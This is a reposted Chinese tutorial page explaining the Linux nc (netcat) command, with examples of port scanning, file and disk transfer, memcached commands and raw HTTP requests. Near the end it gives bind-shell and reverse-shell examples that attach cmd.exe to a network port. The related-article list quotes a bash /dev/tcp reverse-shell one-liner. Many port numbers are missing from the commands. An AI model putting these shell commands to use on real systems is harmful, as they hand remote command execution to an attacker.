linux nc命令使用详解(转)
linux nc命令使用详解 功能说明:功能强大的网络工具
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。 nc使用示例 . 端口扫描
# nc -v -w 192.168.2.34 -z -
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
Connection to 192.168.2.34 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused 2. 从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -l > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt . 简单聊天工具
在192.168.2.34上: nc -l
在192.168.2.33上: nc 192.168.2.34
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。 4. 用nc命令操作memcached
)存储数据:printf “set key 6rnresultrn” |nc 192.168.2.34
)获取数据:printf “get keyrn” |nc 192.168.2.34
)删除数据:printf “delete keyrn” |nc 192.168.2.34
)查看状态:printf “statsrn” |nc 192.168.2.34
)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34
)清空缓存:printf “flush_allrn” |nc 192.168.2.34 (小心操作,清空了缓存就没了) 5. nc -p 1234 -w 5 host.example.com 80
建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com
u为UDP连接 6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行 7. nc -v -z host.example.com 70-80
扫描端口(70到80),可指定范围。-v输出详细信息。 . 远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听, server2上运行: root@hatest2 tmp]# nc -lp > install.log server1上运行: [root@hatest1 ~]# ll install.log
-rw-r–r– root root 12月 install.log
[root@hatest1 ~]# nc -w 192.168.228.222 < install.log . 克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p | dd of=/dev/sda server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 ※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。 . 保存Web页面
# while true; do nc -l -p -q < somepage.html; done . 模拟HTTP Headers,获取网页源代码和返回头部信息 [root@hatest1 ~]# nc www.linuxso.com
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser HTTP/1.1 OK
Date: Tue, Dec :: GMT
Server: Apache/2.2. (Unix) DAV/ mod_mono/1.2. mod_python/3.2. Python/2.4. mod_perl/2.0. Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=, pre-check=
Pragma: no-cache
Cache-Control: private, post-check=, pre-check=, max-age=
Set-Cookie: oWn_sid=xRutAY; expires=Tue, -Dec- :: GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。 . 传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用 [root@hatest2 tmp]# nc -l |tar xzvf -
server1上运行:
引用 [root@hatest1 ~]# ll -d nginx-0.6.
drwxr-xr-x - : nginx-0.6.
[root@hatest1 ~]# tar czvf – nginx-0.6.|nc 192.168.228.222 .REMOTE主机绑定SHELL
例子: 格式:nc -l -p -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 .REMOTE主机绑定SHELL并反向连接
例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192..x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
linux nc命令使用详解(转)的更多相关文章
- (转)linux nc命令使用详解
linux nc命令使用详解 原文:https://www.2cto.com/os/201306/220971.html 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网 ...
- linux nc命令使用详解
功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p ...
- Linux Shell脚本编程--nc命令使用详解
linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>] ...
- (转)Linux curl命令参数详解
Linux curl命令参数详解 命令:curl在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具.它支持文件的上传和下载,是综合传输工具, ...
- (转)linux paste命令用法详解
linux paste命令用法详解原文:http://www.xfcodes.com/linuxcmd/mulu/10211.htmlinux下paste命令,可用于合并文件的列. 功能说明:合并文件 ...
- Linux帮助命令man详解
命令man详解 命令man,可以获得命令(使用whatis命令可以得到一个命令的简短介绍,可以使用:命令 --help 来获得命令的选项说明)或配置文件的帮助信息(可以使用apropos命令仅查看配置 ...
- linux dd命令实用详解
linux dd命令刻录启动U盘详解 dd命令做usb启动盘十分方便,只须:sudo dd if=xxx.iso of=/dev/sdb bs=1M 用以上命令前必须卸载u盘,sdb是你的u盘,bs= ...
- Linux常用命令与详解
在Linux系统中文件删除.创建.更改等操作都是通过一个个不同的命令来完成我们想要的操作,那么什么是命令呢? 凡是在字符操作界面中输入的能够完成特定操作和任务的字符串都可以称为命令.严格来说,命令通常 ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
随机推荐
- git<git rebase 修改以前提交过的内容>
git rebase 使用总结: 使用git rebase 修改以前已经提交的内容 比如要修改之前的commit的 hashcode为:187f869c9d54c9297d6b0b1b4ff47d ...
- python【数据类型:集合】
- List保存在ViewState
private List<SYSUAO> UserRoleList { get { return ViewState["UserRoleList"] as List&l ...
- day7 方法及基础知识运用
做了一个小型的成绩管理系统.主要代码如下: /* * 功能:简易学生成绩管理系统 */package day7; import java.util.Scanner; public class Home ...
- day6 方法
1.方法是一段可重复调用的代码段,今天学习的方法可以由主方法直接调用,所以加入public static关键字修饰. 2.方法的重载为方法名相同,参数的类型或个数不同.
- 接口测试Case之面向页面对象编写及规范
一.什么是页面对象化 主要提倡的思想是:万物皆对象,即把一个Page看成一个对象,来进行接口自动化Case的编写,不要闲扯,直接讲怎么个操作法呢? 二.有什么优势? 2.1 Case层次清晰,便于管理 ...
- ML入门理论
http://www.mamicode.com/info-detail-1707941.html
- psutil-3.4.2才是我的老系统(Windows XP)的菜
psutil-3.4.2才是我的老系统(Windows XP)的菜 psutil 是一款跨平台的查看操作系统和进程信息的工具. 在一次卸载和重装了spyder包之后, spyder升级到了: 2.3. ...
- [整理]Node入门 » 一本全面的Node.js教程 - Demo实践所遇到的问题
花了一个上午看完[转载]Node入门 » 一本全面的Node.js教程 根据里面的Demo自己手动实现过程中还是遇到了些问题,特整理在此. <1>.由于node.msi安装包已经自动添加了 ...
- 20155301 2016-2017-2 《Java程序设计》第5周学习总结
20155301 2016-2017-2 <Java程序设计>第5周学习总结 教材学习内容总结 1.1try.catch关键词,在用户不小心输入错误的时候,程序会出现错误信息,将代表错误的 ...